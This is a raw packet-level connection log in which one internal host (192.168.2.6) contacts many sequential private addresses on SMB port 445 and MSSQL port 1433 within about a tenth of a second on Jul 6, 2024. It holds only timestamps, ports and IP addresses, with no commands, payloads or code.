Jul 6, 2024 14:11:35.902872086 CEST	445	52612	192.168.1.250	192.168.2.6
Jul 6, 2024 14:11:35.902931929 CEST	52612	445	192.168.2.6	192.168.1.250
Jul 6, 2024 14:11:35.902954102 CEST	52605	1433	192.168.2.6	192.168.0.4
Jul 6, 2024 14:11:35.902954102 CEST	52605	1433	192.168.2.6	192.168.0.4
Jul 6, 2024 14:11:35.903008938 CEST	52612	445	192.168.2.6	192.168.1.250
Jul 6, 2024 14:11:35.903285980 CEST	445	52614	192.168.1.251	192.168.2.6
Jul 6, 2024 14:11:35.903340101 CEST	52614	445	192.168.2.6	192.168.1.251
Jul 6, 2024 14:11:35.903418064 CEST	52614	445	192.168.2.6	192.168.1.251
Jul 6, 2024 14:11:35.903908014 CEST	52618	1433	192.168.2.6	192.168.0.4
Jul 6, 2024 14:11:35.904541016 CEST	52604	445	192.168.2.6	192.168.4.25
Jul 6, 2024 14:11:35.905967951 CEST	1433	52617	192.168.0.5	192.168.2.6
Jul 6, 2024 14:11:35.906023026 CEST	52617	1433	192.168.2.6	192.168.0.5
Jul 6, 2024 14:11:35.906058073 CEST	445	52610	192.168.3.151	192.168.2.6
Jul 6, 2024 14:11:35.906116009 CEST	52617	1433	192.168.2.6	192.168.0.5
Jul 6, 2024 14:11:35.907130957 CEST	1433	52608	192.168.0.2	192.168.2.6
Jul 6, 2024 14:11:35.907140970 CEST	1433	52607	192.168.0.3	192.168.2.6
Jul 6, 2024 14:11:35.907197952 CEST	52610	445	192.168.2.6	192.168.3.151
Jul 6, 2024 14:11:35.907197952 CEST	52610	445	192.168.2.6	192.168.3.151
Jul 6, 2024 14:11:35.907197952 CEST	52619	1433	192.168.2.6	192.168.0.5
Jul 6, 2024 14:11:35.907340050 CEST	445	52613	192.168.3.153	192.168.2.6
Jul 6, 2024 14:11:35.907418966 CEST	445	52616	192.168.4.26	192.168.2.6
Jul 6, 2024 14:11:35.907460928 CEST	52613	445	192.168.2.6	192.168.3.153
Jul 6, 2024 14:11:35.907460928 CEST	52613	445	192.168.2.6	192.168.3.153
Jul 6, 2024 14:11:35.907460928 CEST	52616	445	192.168.2.6	192.168.4.26
Jul 6, 2024 14:11:35.907573938 CEST	1433	52607	192.168.0.3	192.168.2.6
Jul 6, 2024 14:11:35.907583952 CEST	1433	52608	192.168.0.2	192.168.2.6
Jul 6, 2024 14:11:35.907665968 CEST	445	52609	192.168.1.249	192.168.2.6
Jul 6, 2024 14:11:35.907778978 CEST	445	52611	192.168.3.152	192.168.2.6
Jul 6, 2024 14:11:35.907802105 CEST	52620	1433	192.168.2.6	192.168.0.2
Jul 6, 2024 14:11:35.907851934 CEST	445	52609	192.168.1.249	192.168.2.6
Jul 6, 2024 14:11:35.907886982 CEST	52621	1433	192.168.2.6	192.168.0.3
Jul 6, 2024 14:11:35.908034086 CEST	445	52612	192.168.1.250	192.168.2.6
Jul 6, 2024 14:11:35.908041954 CEST	445	52611	192.168.3.152	192.168.2.6
Jul 6, 2024 14:11:35.908255100 CEST	445	52612	192.168.1.250	192.168.2.6
Jul 6, 2024 14:11:35.908263922 CEST	445	52614	192.168.1.251	192.168.2.6
Jul 6, 2024 14:11:35.908548117 CEST	445	52614	192.168.1.251	192.168.2.6
Jul 6, 2024 14:11:35.908762932 CEST	1433	52618	192.168.0.4	192.168.2.6
Jul 6, 2024 14:11:35.909003019 CEST	52616	445	192.168.2.6	192.168.4.26
Jul 6, 2024 14:11:35.910969019 CEST	1433	52617	192.168.0.5	192.168.2.6
Jul 6, 2024 14:11:35.911026001 CEST	52617	1433	192.168.2.6	192.168.0.5
Jul 6, 2024 14:11:35.912247896 CEST	52618	1433	192.168.2.6	192.168.0.4
Jul 6, 2024 14:11:35.912247896 CEST	52618	1433	192.168.2.6	192.168.0.4
Jul 6, 2024 14:11:35.912663937 CEST	1433	52620	192.168.0.2	192.168.2.6
Jul 6, 2024 14:11:35.912720919 CEST	52620	1433	192.168.2.6	192.168.0.2
Jul 6, 2024 14:11:35.912930965 CEST	445	52610	192.168.3.151	192.168.2.6
Jul 6, 2024 14:11:35.913115025 CEST	1433	52621	192.168.0.3	192.168.2.6
Jul 6, 2024 14:11:35.913156033 CEST	52621	1433	192.168.2.6	192.168.0.3
Jul 6, 2024 14:11:35.913393974 CEST	1433	52605	192.168.0.4	192.168.2.6
Jul 6, 2024 14:11:35.913646936 CEST	445	52610	192.168.3.151	192.168.2.6
Jul 6, 2024 14:11:35.913655996 CEST	1433	52619	192.168.0.5	192.168.2.6
Jul 6, 2024 14:11:35.913939953 CEST	445	52613	192.168.3.153	192.168.2.6
Jul 6, 2024 14:11:35.914134026 CEST	52610	445	192.168.2.6	192.168.3.151
Jul 6, 2024 14:11:35.914134026 CEST	52619	1433	192.168.2.6	192.168.0.5
Jul 6, 2024 14:11:35.914299011 CEST	445	52613	192.168.3.153	192.168.2.6
Jul 6, 2024 14:11:35.914479017 CEST	445	52616	192.168.4.26	192.168.2.6
Jul 6, 2024 14:11:35.914519072 CEST	52616	445	192.168.2.6	192.168.4.26
Jul 6, 2024 14:11:35.915144920 CEST	52622	445	192.168.2.6	192.168.3.154
Jul 6, 2024 14:11:35.915625095 CEST	1433	52605	192.168.0.4	192.168.2.6
Jul 6, 2024 14:11:35.917018890 CEST	52605	1433	192.168.2.6	192.168.0.4
Jul 6, 2024 14:11:35.917049885 CEST	52621	1433	192.168.2.6	192.168.0.3
Jul 6, 2024 14:11:35.917301893 CEST	1433	52618	192.168.0.4	192.168.2.6
Jul 6, 2024 14:11:35.917469978 CEST	52619	1433	192.168.2.6	192.168.0.5
Jul 6, 2024 14:11:35.917469978 CEST	52618	1433	192.168.2.6	192.168.0.4
Jul 6, 2024 14:11:35.917470932 CEST	52618	1433	192.168.2.6	192.168.0.4
Jul 6, 2024 14:11:35.917747974 CEST	1433	52618	192.168.0.4	192.168.2.6
Jul 6, 2024 14:11:35.917799950 CEST	1433	52620	192.168.0.2	192.168.2.6
Jul 6, 2024 14:11:35.917834044 CEST	52620	1433	192.168.2.6	192.168.0.2
Jul 6, 2024 14:11:35.918729067 CEST	1433	52621	192.168.0.3	192.168.2.6
Jul 6, 2024 14:11:35.918821096 CEST	52623	1433	192.168.2.6	192.168.0.4
Jul 6, 2024 14:11:35.918826103 CEST	52621	1433	192.168.2.6	192.168.0.3
Jul 6, 2024 14:11:35.920094967 CEST	445	52622	192.168.3.154	192.168.2.6
Jul 6, 2024 14:11:35.920212030 CEST	52622	445	192.168.2.6	192.168.3.154
Jul 6, 2024 14:11:35.920255899 CEST	52622	445	192.168.2.6	192.168.3.154
Jul 6, 2024 14:11:35.920763016 CEST	52624	445	192.168.2.6	192.168.4.27
Jul 6, 2024 14:11:35.920986891 CEST	445	52610	192.168.3.151	192.168.2.6
Jul 6, 2024 14:11:35.921143055 CEST	1433	52619	192.168.0.5	192.168.2.6
Jul 6, 2024 14:11:35.921183109 CEST	52619	1433	192.168.2.6	192.168.0.5
Jul 6, 2024 14:11:35.921269894 CEST	52627	1433	192.168.2.6	192.168.0.3
Jul 6, 2024 14:11:35.921299934 CEST	52619	1433	192.168.2.6	192.168.0.5
Jul 6, 2024 14:11:35.922157049 CEST	1433	52621	192.168.0.3	192.168.2.6
Jul 6, 2024 14:11:35.922569036 CEST	1433	52619	192.168.0.5	192.168.2.6
Jul 6, 2024 14:11:35.923638105 CEST	1433	52618	192.168.0.4	192.168.2.6
Jul 6, 2024 14:11:35.923643112 CEST	52626	1433	192.168.2.6	192.168.0.6
Jul 6, 2024 14:11:35.923643112 CEST	52628	1433	192.168.2.6	192.168.0.5
Jul 6, 2024 14:11:35.923645973 CEST	1433	52618	192.168.0.4	192.168.2.6
Jul 6, 2024 14:11:35.923655033 CEST	1433	52623	192.168.0.4	192.168.2.6
Jul 6, 2024 14:11:35.923713923 CEST	52623	1433	192.168.2.6	192.168.0.4
Jul 6, 2024 14:11:35.923758984 CEST	1433	52621	192.168.0.3	192.168.2.6
Jul 6, 2024 14:11:35.923940897 CEST	52623	1433	192.168.2.6	192.168.0.4
Jul 6, 2024 14:11:35.924612999 CEST	52621	1433	192.168.2.6	192.168.0.3
Jul 6, 2024 14:11:35.924612999 CEST	52620	1433	192.168.2.6	192.168.0.2
Jul 6, 2024 14:11:35.924612999 CEST	52620	1433	192.168.2.6	192.168.0.2
Jul 6, 2024 14:11:35.925282001 CEST	445	52622	192.168.3.154	192.168.2.6
Jul 6, 2024 14:11:35.926542044 CEST	52629	1433	192.168.2.6	192.168.0.2
Jul 6, 2024 14:11:35.927763939 CEST	445	52624	192.168.4.27	192.168.2.6
Jul 6, 2024 14:11:35.927870989 CEST	1433	52619	192.168.0.5	192.168.2.6
Jul 6, 2024 14:11:35.927881002 CEST	1433	52627	192.168.0.3	192.168.2.6
Jul 6, 2024 14:11:35.927889109 CEST	1433	52619	192.168.0.5	192.168.2.6
Jul 6, 2024 14:11:35.927942038 CEST	52627	1433	192.168.2.6	192.168.0.3
Jul 6, 2024 14:11:35.928056955 CEST	52627	1433	192.168.2.6	192.168.0.3
Jul 6, 2024 14:11:35.928080082 CEST	52624	445	192.168.2.6	192.168.4.27
Jul 6, 2024 14:11:35.928080082 CEST	52624	445	192.168.2.6	192.168.4.27
Jul 6, 2024 14:11:35.928764105 CEST	52630	445	192.168.2.6	192.168.1.253
Jul 6, 2024 14:11:35.928899050 CEST	52631	445	192.168.2.6	192.168.1.252
Jul 6, 2024 14:11:35.929187059 CEST	1433	52626	192.168.0.6	192.168.2.6
Jul 6, 2024 14:11:35.929303885 CEST	1433	52628	192.168.0.5	192.168.2.6
Jul 6, 2024 14:11:35.929313898 CEST	1433	52623	192.168.0.4	192.168.2.6
Jul 6, 2024 14:11:35.930061102 CEST	52623	1433	192.168.2.6	192.168.0.4
Jul 6, 2024 14:11:35.930233955 CEST	52626	1433	192.168.2.6	192.168.0.6
Jul 6, 2024 14:11:35.930233955 CEST	52626	1433	192.168.2.6	192.168.0.6
Jul 6, 2024 14:11:35.930234909 CEST	52628	1433	192.168.2.6	192.168.0.5
Jul 6, 2024 14:11:35.930234909 CEST	52632	1433	192.168.2.6	192.168.0.6
Jul 6, 2024 14:11:35.930234909 CEST	52628	1433	192.168.2.6	192.168.0.5
Jul 6, 2024 14:11:35.930313110 CEST	52623	1433	192.168.2.6	192.168.0.4
Jul 6, 2024 14:11:35.930404902 CEST	1433	52623	192.168.0.4	192.168.2.6
Jul 6, 2024 14:11:35.930423021 CEST	1433	52621	192.168.0.3	192.168.2.6
Jul 6, 2024 14:11:35.930432081 CEST	1433	52620	192.168.0.2	192.168.2.6
Jul 6, 2024 14:11:35.930439949 CEST	1433	52620	192.168.0.2	192.168.2.6
Jul 6, 2024 14:11:35.931951046 CEST	1433	52629	192.168.0.2	192.168.2.6
Jul 6, 2024 14:11:35.933024883 CEST	1433	52627	192.168.0.3	192.168.2.6
Jul 6, 2024 14:11:35.933032036 CEST	1433	52627	192.168.0.3	192.168.2.6
Jul 6, 2024 14:11:35.933674097 CEST	445	52630	192.168.1.253	192.168.2.6
Jul 6, 2024 14:11:35.933721066 CEST	52630	445	192.168.2.6	192.168.1.253
Jul 6, 2024 14:11:35.934216976 CEST	445	52631	192.168.1.252	192.168.2.6
Jul 6, 2024 14:11:35.934259892 CEST	52631	445	192.168.2.6	192.168.1.252
Jul 6, 2024 14:11:35.934628963 CEST	52629	1433	192.168.2.6	192.168.0.2
Jul 6, 2024 14:11:35.934628963 CEST	52629	1433	192.168.2.6	192.168.0.2
Jul 6, 2024 14:11:35.934994936 CEST	1433	52623	192.168.0.4	192.168.2.6
Jul 6, 2024 14:11:35.935399055 CEST	1433	52623	192.168.0.4	192.168.2.6
Jul 6, 2024 14:11:35.938978910 CEST	445	52630	192.168.1.253	192.168.2.6
Jul 6, 2024 14:11:35.939033031 CEST	52630	445	192.168.2.6	192.168.1.253
Jul 6, 2024 14:11:35.940062046 CEST	445	52631	192.168.1.252	192.168.2.6
Jul 6, 2024 14:11:35.940149069 CEST	445	52624	192.168.4.27	192.168.2.6
Jul 6, 2024 14:11:35.940627098 CEST	52624	445	192.168.2.6	192.168.4.27
Jul 6, 2024 14:11:35.941242933 CEST	52631	445	192.168.2.6	192.168.1.252
Jul 6, 2024 14:11:35.941242933 CEST	52634	1433	192.168.2.6	192.168.0.3
Jul 6, 2024 14:11:35.941242933 CEST	52630	445	192.168.2.6	192.168.1.253
Jul 6, 2024 14:11:35.941242933 CEST	52631	445	192.168.2.6	192.168.1.252
Jul 6, 2024 14:11:35.941952944 CEST	52633	1433	192.168.2.6	192.168.0.4
Jul 6, 2024 14:11:35.946012020 CEST	52636	445	192.168.2.6	192.168.4.28
Jul 6, 2024 14:11:35.946115971 CEST	1433	52634	192.168.0.3	192.168.2.6
Jul 6, 2024 14:11:35.946125984 CEST	445	52630	192.168.1.253	192.168.2.6
Jul 6, 2024 14:11:35.946537018 CEST	52637	1433	192.168.2.6	192.168.0.7
Jul 6, 2024 14:11:35.946595907 CEST	445	52631	192.168.1.252	192.168.2.6
Jul 6, 2024 14:11:35.946775913 CEST	1433	52632	192.168.0.6	192.168.2.6
Jul 6, 2024 14:11:35.946841002 CEST	52634	1433	192.168.2.6	192.168.0.3
Jul 6, 2024 14:11:35.946841002 CEST	52634	1433	192.168.2.6	192.168.0.3
Jul 6, 2024 14:11:35.946896076 CEST	1433	52628	192.168.0.5	192.168.2.6
Jul 6, 2024 14:11:35.946980000 CEST	1433	52626	192.168.0.6	192.168.2.6
Jul 6, 2024 14:11:35.947288990 CEST	1433	52628	192.168.0.5	192.168.2.6
Jul 6, 2024 14:11:35.947365999 CEST	1433	52633	192.168.0.4	192.168.2.6
Jul 6, 2024 14:11:35.947551966 CEST	1433	52629	192.168.0.2	192.168.2.6
Jul 6, 2024 14:11:35.947717905 CEST	1433	52629	192.168.0.2	192.168.2.6
Jul 6, 2024 14:11:35.948939085 CEST	52639	1433	192.168.2.6	192.168.0.2
Jul 6, 2024 14:11:35.952013016 CEST	52632	1433	192.168.2.6	192.168.0.6
Jul 6, 2024 14:11:35.952013016 CEST	52632	1433	192.168.2.6	192.168.0.6
Jul 6, 2024 14:11:35.952013016 CEST	52626	1433	192.168.2.6	192.168.0.6
Jul 6, 2024 14:11:35.952013016 CEST	52633	1433	192.168.2.6	192.168.0.4
Jul 6, 2024 14:11:35.952013016 CEST	52633	1433	192.168.2.6	192.168.0.4
Jul 6, 2024 14:11:35.952013016 CEST	52638	1433	192.168.2.6	192.168.0.5
Jul 6, 2024 14:11:35.952019930 CEST	1433	52634	192.168.0.3	192.168.2.6
Jul 6, 2024 14:11:35.952847004 CEST	1433	52634	192.168.0.3	192.168.2.6
Jul 6, 2024 14:11:35.953813076 CEST	1433	52639	192.168.0.2	192.168.2.6
Jul 6, 2024 14:11:35.953890085 CEST	52639	1433	192.168.2.6	192.168.0.2
Jul 6, 2024 14:11:35.954077959 CEST	52639	1433	192.168.2.6	192.168.0.2
Jul 6, 2024 14:11:35.956489086 CEST	1433	52637	192.168.0.7	192.168.2.6
Jul 6, 2024 14:11:35.956965923 CEST	445	52636	192.168.4.28	192.168.2.6
Jul 6, 2024 14:11:35.956983089 CEST	1433	52632	192.168.0.6	192.168.2.6
Jul 6, 2024 14:11:35.957205057 CEST	1433	52633	192.168.0.4	192.168.2.6
Jul 6, 2024 14:11:35.957453966 CEST	52634	1433	192.168.2.6	192.168.0.3
Jul 6, 2024 14:11:35.957453966 CEST	52642	1433	192.168.2.6	192.168.0.8
Jul 6, 2024 14:11:35.957503080 CEST	1433	52632	192.168.0.6	192.168.2.6
Jul 6, 2024 14:11:35.957523108 CEST	1433	52633	192.168.0.4	192.168.2.6
Jul 6, 2024 14:11:35.957794905 CEST	1433	52638	192.168.0.5	192.168.2.6
Jul 6, 2024 14:11:35.958554029 CEST	52638	1433	192.168.2.6	192.168.0.5
Jul 6, 2024 14:11:35.958554029 CEST	52638	1433	192.168.2.6	192.168.0.5
Jul 6, 2024 14:11:35.958837032 CEST	52641	445	192.168.2.6	192.168.4.29
Jul 6, 2024 14:11:35.958837986 CEST	52637	1433	192.168.2.6	192.168.0.7
Jul 6, 2024 14:11:35.958956957 CEST	1433	52639	192.168.0.2	192.168.2.6
Jul 6, 2024 14:11:35.959119081 CEST	52636	445	192.168.2.6	192.168.4.28
Jul 6, 2024 14:11:35.959119081 CEST	52636	445	192.168.2.6	192.168.4.28
Jul 6, 2024 14:11:35.959119081 CEST	52644	1433	192.168.2.6	192.168.0.4
Jul 6, 2024 14:11:35.959119081 CEST	52643	1433	192.168.2.6	192.168.0.6
Jul 6, 2024 14:11:35.959218979 CEST	1433	52639	192.168.0.2	192.168.2.6
Jul 6, 2024 14:11:35.959867954 CEST	52637	1433	192.168.2.6	192.168.0.7
Jul 6, 2024 14:11:35.960290909 CEST	52646	445	192.168.2.6	192.168.1.254
Jul 6, 2024 14:11:35.960664034 CEST	52647	445	192.168.2.6	192.168.3.156
Jul 6, 2024 14:11:35.960782051 CEST	52645	445	192.168.2.6	192.168.3.155
Jul 6, 2024 14:11:35.961513996 CEST	52639	1433	192.168.2.6	192.168.0.2
Jul 6, 2024 14:11:35.962609053 CEST	1433	52634	192.168.0.3	192.168.2.6
Jul 6, 2024 14:11:35.963090897 CEST	52649	445	192.168.2.6	192.168.4.30
Jul 6, 2024 14:11:35.963890076 CEST	445	52641	192.168.4.29	192.168.2.6
Jul 6, 2024 14:11:35.963944912 CEST	52641	445	192.168.2.6	192.168.4.29
Jul 6, 2024 14:11:35.964044094 CEST	52641	445	192.168.2.6	192.168.4.29
Jul 6, 2024 14:11:35.964309931 CEST	1433	52637	192.168.0.7	192.168.2.6
Jul 6, 2024 14:11:35.964349985 CEST	52637	1433	192.168.2.6	192.168.0.7
Jul 6, 2024 14:11:35.964773893 CEST	52651	1433	192.168.2.6	192.168.0.9
Jul 6, 2024 14:11:35.965050936 CEST	1433	52637	192.168.0.7	192.168.2.6
Jul 6, 2024 14:11:35.965591908 CEST	445	52646	192.168.1.254	192.168.2.6
Jul 6, 2024 14:11:35.965640068 CEST	52646	445	192.168.2.6	192.168.1.254
Jul 6, 2024 14:11:35.965651989 CEST	445	52647	192.168.3.156	192.168.2.6
Jul 6, 2024 14:11:35.965694904 CEST	52647	445	192.168.2.6	192.168.3.156
Jul 6, 2024 14:11:35.965733051 CEST	52646	445	192.168.2.6	192.168.1.254
Jul 6, 2024 14:11:35.965882063 CEST	52648	1433	192.168.2.6	192.168.0.7
Jul 6, 2024 14:11:35.965982914 CEST	1433	52642	192.168.0.8	192.168.2.6
Jul 6, 2024 14:11:35.966739893 CEST	52652	1433	192.168.2.6	192.168.0.8
Jul 6, 2024 14:11:35.967282057 CEST	445	52636	192.168.4.28	192.168.2.6
Jul 6, 2024 14:11:35.967645884 CEST	52647	445	192.168.2.6	192.168.3.156
Jul 6, 2024 14:11:35.967655897 CEST	445	52636	192.168.4.28	192.168.2.6
Jul 6, 2024 14:11:35.968036890 CEST	1433	52638	192.168.0.5	192.168.2.6
Jul 6, 2024 14:11:35.968214035 CEST	52642	1433	192.168.2.6	192.168.0.8
Jul 6, 2024 14:11:35.968214035 CEST	52642	1433	192.168.2.6	192.168.0.8
Jul 6, 2024 14:11:35.968808889 CEST	1433	52639	192.168.0.2	192.168.2.6
Jul 6, 2024 14:11:35.969574928 CEST	1433	52651	192.168.0.9	192.168.2.6
Jul 6, 2024 14:11:35.969702959 CEST	1433	52638	192.168.0.5	192.168.2.6
Jul 6, 2024 14:11:35.969970942 CEST	52651	1433	192.168.2.6	192.168.0.9
Jul 6, 2024 14:11:35.969970942 CEST	52651	1433	192.168.2.6	192.168.0.9
Jul 6, 2024 14:11:35.969989061 CEST	52653	1433	192.168.2.6	192.168.0.5
Jul 6, 2024 14:11:35.970271111 CEST	445	52641	192.168.4.29	192.168.2.6
Jul 6, 2024 14:11:35.970310926 CEST	52641	445	192.168.2.6	192.168.4.29
Jul 6, 2024 14:11:35.970638990 CEST	445	52646	192.168.1.254	192.168.2.6
Jul 6, 2024 14:11:35.970933914 CEST	1433	52644	192.168.0.4	192.168.2.6
Jul 6, 2024 14:11:35.970943928 CEST	445	52646	192.168.1.254	192.168.2.6
Jul 6, 2024 14:11:35.970952988 CEST	1433	52643	192.168.0.6	192.168.2.6
Jul 6, 2024 14:11:35.970966101 CEST	1433	52648	192.168.0.7	192.168.2.6
Jul 6, 2024 14:11:35.970973969 CEST	52654	1433	192.168.2.6	192.168.0.9
Jul 6, 2024 14:11:35.971196890 CEST	445	52645	192.168.3.155	192.168.2.6
Jul 6, 2024 14:11:35.971206903 CEST	445	52647	192.168.3.156	192.168.2.6
Jul 6, 2024 14:11:35.971231937 CEST	445	52649	192.168.4.30	192.168.2.6
Jul 6, 2024 14:11:35.971291065 CEST	52647	445	192.168.2.6	192.168.3.156
Jul 6, 2024 14:11:35.972001076 CEST	1433	52652	192.168.0.8	192.168.2.6
Jul 6, 2024 14:11:35.972064018 CEST	52652	1433	192.168.2.6	192.168.0.8
Jul 6, 2024 14:11:35.972136974 CEST	52652	1433	192.168.2.6	192.168.0.8
Jul 6, 2024 14:11:35.972470045 CEST	445	52647	192.168.3.156	192.168.2.6
Jul 6, 2024 14:11:35.972541094 CEST	52649	445	192.168.2.6	192.168.4.30
Jul 6, 2024 14:11:35.972541094 CEST	52649	445	192.168.2.6	192.168.4.30
Jul 6, 2024 14:11:35.973336935 CEST	52636	445	192.168.2.6	192.168.4.28
Jul 6, 2024 14:11:35.973337889 CEST	52644	1433	192.168.2.6	192.168.0.4
Jul 6, 2024 14:11:35.975024939 CEST	1433	52653	192.168.0.5	192.168.2.6
Jul 6, 2024 14:11:35.975878954 CEST	52653	1433	192.168.2.6	192.168.0.5
Jul 6, 2024 14:11:35.975931883 CEST	1433	52651	192.168.0.9	192.168.2.6
Jul 6, 2024 14:11:35.975941896 CEST	1433	52654	192.168.0.9	192.168.2.6
Jul 6, 2024 14:11:35.976188898 CEST	445	52647	192.168.3.156	192.168.2.6
Jul 6, 2024 14:11:35.977058887 CEST	52645	445	192.168.2.6	192.168.3.155
Jul 6, 2024 14:11:35.977058887 CEST	52645	445	192.168.2.6	192.168.3.155
Jul 6, 2024 14:11:35.977194071 CEST	1433	52652	192.168.0.8	192.168.2.6
Jul 6, 2024 14:11:35.977338076 CEST	1433	52652	192.168.0.8	192.168.2.6
Jul 6, 2024 14:11:35.977853060 CEST	445	52649	192.168.4.30	192.168.2.6
Jul 6, 2024 14:11:35.978147030 CEST	52651	1433	192.168.2.6	192.168.0.9
Jul 6, 2024 14:11:35.978147030 CEST	52654	1433	192.168.2.6	192.168.0.9
Jul 6, 2024 14:11:35.978147030 CEST	52652	1433	192.168.2.6	192.168.0.8
Jul 6, 2024 14:11:35.978303909 CEST	52653	1433	192.168.2.6	192.168.0.5
Jul 6, 2024 14:11:35.978383064 CEST	52654	1433	192.168.2.6	192.168.0.9
Jul 6, 2024 14:11:35.978451967 CEST	52652	1433	192.168.2.6	192.168.0.8
Jul 6, 2024 14:11:35.978600979 CEST	52655	1433	192.168.2.6	192.168.0.8
Jul 6, 2024 14:11:35.978889942 CEST	52649	445	192.168.2.6	192.168.4.30
Jul 6, 2024 14:11:35.981365919 CEST	52659	445	192.168.2.6	192.168.4.31
Jul 6, 2024 14:11:35.982063055 CEST	1433	52642	192.168.0.8	192.168.2.6
Jul 6, 2024 14:11:35.982307911 CEST	445	52645	192.168.3.155	192.168.2.6
Jul 6, 2024 14:11:35.982820988 CEST	1433	52653	192.168.0.5	192.168.2.6
Jul 6, 2024 14:11:35.983355045 CEST	1433	52652	192.168.0.8	192.168.2.6
Jul 6, 2024 14:11:35.983642101 CEST	1433	52654	192.168.0.9	192.168.2.6
Jul 6, 2024 14:11:35.983650923 CEST	1433	52653	192.168.0.5	192.168.2.6
Jul 6, 2024 14:11:35.983659029 CEST	1433	52654	192.168.0.9	192.168.2.6
Jul 6, 2024 14:11:35.983666897 CEST	1433	52652	192.168.0.8	192.168.2.6
Jul 6, 2024 14:11:35.983680010 CEST	1433	52655	192.168.0.8	192.168.2.6
Jul 6, 2024 14:11:35.984726906 CEST	52654	1433	192.168.2.6	192.168.0.9
Jul 6, 2024 14:11:35.984726906 CEST	52655	1433	192.168.2.6	192.168.0.8
Jul 6, 2024 14:11:35.984726906 CEST	52654	1433	192.168.2.6	192.168.0.9
Jul 6, 2024 14:11:35.984726906 CEST	52655	1433	192.168.2.6	192.168.0.8
Jul 6, 2024 14:11:35.985023022 CEST	52662	1433	192.168.2.6	192.168.0.10
Jul 6, 2024 14:11:35.985146046 CEST	52660	1433	192.168.2.6	192.168.0.9
Jul 6, 2024 14:11:35.985615969 CEST	52653	1433	192.168.2.6	192.168.0.5
Jul 6, 2024 14:11:35.986139059 CEST	445	52645	192.168.3.155	192.168.2.6
Jul 6, 2024 14:11:35.986696959 CEST	445	52659	192.168.4.31	192.168.2.6
Jul 6, 2024 14:11:35.987648010 CEST	52659	445	192.168.2.6	192.168.4.31
Jul 6, 2024 14:11:35.987716913 CEST	52659	445	192.168.2.6	192.168.4.31
Jul 6, 2024 14:11:35.989079952 CEST	52643	1433	192.168.2.6	192.168.0.6
Jul 6, 2024 14:11:35.989079952 CEST	52648	1433	192.168.2.6	192.168.0.7
Jul 6, 2024 14:11:35.989079952 CEST	52648	1433	192.168.2.6	192.168.0.7
Jul 6, 2024 14:11:35.989079952 CEST	52644	1433	192.168.2.6	192.168.0.4
Jul 6, 2024 14:11:35.989079952 CEST	52643	1433	192.168.2.6	192.168.0.6
Jul 6, 2024 14:11:35.989574909 CEST	1433	52654	192.168.0.9	192.168.2.6
Jul 6, 2024 14:11:35.989768028 CEST	1433	52654	192.168.0.9	192.168.2.6
Jul 6, 2024 14:11:35.989777088 CEST	1433	52655	192.168.0.8	192.168.2.6
Jul 6, 2024 14:11:35.989784956 CEST	1433	52655	192.168.0.8	192.168.2.6
Jul 6, 2024 14:11:35.989993095 CEST	1433	52662	192.168.0.10	192.168.2.6
Jul 6, 2024 14:11:35.990012884 CEST	1433	52660	192.168.0.9	192.168.2.6
Jul 6, 2024 14:11:35.990046024 CEST	52662	1433	192.168.2.6	192.168.0.10
Jul 6, 2024 14:11:35.990153074 CEST	52663	1433	192.168.2.6	192.168.0.8
Jul 6, 2024 14:11:35.990514994 CEST	52660	1433	192.168.2.6	192.168.0.9
Jul 6, 2024 14:11:35.990514994 CEST	52660	1433	192.168.2.6	192.168.0.9
Jul 6, 2024 14:11:35.990972996 CEST	1433	52653	192.168.0.5	192.168.2.6
Jul 6, 2024 14:11:35.991113901 CEST	52662	1433	192.168.2.6	192.168.0.10
Jul 6, 2024 14:11:35.992643118 CEST	445	52659	192.168.4.31	192.168.2.6
Jul 6, 2024 14:11:35.993163109 CEST	52667	445	192.168.2.6	192.168.4.32
Jul 6, 2024 14:11:35.993231058 CEST	52657	445	192.168.2.6	192.168.3.157
Jul 6, 2024 14:11:35.993231058 CEST	52658	445	192.168.2.6	192.168.3.158
Jul 6, 2024 14:11:35.993231058 CEST	52642	1433	192.168.2.6	192.168.0.8
Jul 6, 2024 14:11:35.994123936 CEST	1433	52644	192.168.0.4	192.168.2.6
Jul 6, 2024 14:11:35.994208097 CEST	1433	52643	192.168.0.6	192.168.2.6
Jul 6, 2024 14:11:35.994311094 CEST	1433	52648	192.168.0.7	192.168.2.6
Jul 6, 2024 14:11:35.994319916 CEST	1433	52644	192.168.0.4	192.168.2.6
Jul 6, 2024 14:11:35.994328022 CEST	1433	52643	192.168.0.6	192.168.2.6
Jul 6, 2024 14:11:35.994416952 CEST	1433	52648	192.168.0.7	192.168.2.6
Jul 6, 2024 14:11:35.994729996 CEST	52668	1433	192.168.2.6	192.168.0.6
Jul 6, 2024 14:11:35.994800091 CEST	52669	1433	192.168.2.6	192.168.0.7
Jul 6, 2024 14:11:35.995140076 CEST	1433	52663	192.168.0.8	192.168.2.6
Jul 6, 2024 14:11:35.995265007 CEST	1433	52662	192.168.0.10	192.168.2.6
Jul 6, 2024 14:11:35.995500088 CEST	52644	1433	192.168.2.6	192.168.0.4
Jul 6, 2024 14:11:35.995500088 CEST	52643	1433	192.168.2.6	192.168.0.6
Jul 6, 2024 14:11:35.995500088 CEST	52643	1433	192.168.2.6	192.168.0.6
Jul 6, 2024 14:11:35.996006012 CEST	1433	52662	192.168.0.10	192.168.2.6
Jul 6, 2024 14:11:35.998059034 CEST	52659	445	192.168.2.6	192.168.4.31
Jul 6, 2024 14:11:35.998537064 CEST	52663	1433	192.168.2.6	192.168.0.8
Jul 6, 2024 14:11:35.998537064 CEST	52663	1433	192.168.2.6	192.168.0.8
Jul 6, 2024 14:11:35.998537064 CEST	52662	1433	192.168.2.6	192.168.0.10
Jul 6, 2024 14:11:35.998800039 CEST	52645	445	192.168.2.6	192.168.3.155
Jul 6, 2024 14:11:35.998883009 CEST	445	52667	192.168.4.32	192.168.2.6
Jul 6, 2024 14:11:36.001597881 CEST	52667	445	192.168.2.6	192.168.4.32
Jul 6, 2024 14:11:36.001597881 CEST	52667	445	192.168.2.6	192.168.4.32
Jul 6, 2024 14:11:36.003204107 CEST	52664	1433	192.168.2.6	192.168.0.10
Jul 6, 2024 14:11:36.003204107 CEST	52665	1433	192.168.2.6	192.168.0.11
Jul 6, 2024 14:11:36.007291079 CEST	52670	445	192.168.2.6	192.168.3.159
Jul 6, 2024 14:11:36.008660078 CEST	52671	445	192.168.2.6	192.168.4.33
Jul 6, 2024 14:11:36.009454012 CEST	52673	1433	192.168.2.6	192.168.0.12
Jul 6, 2024 14:11:36.022622108 CEST	1433	52668	192.168.0.6	192.168.2.6
Jul 6, 2024 14:11:36.022784948 CEST	52668	1433	192.168.2.6	192.168.0.6
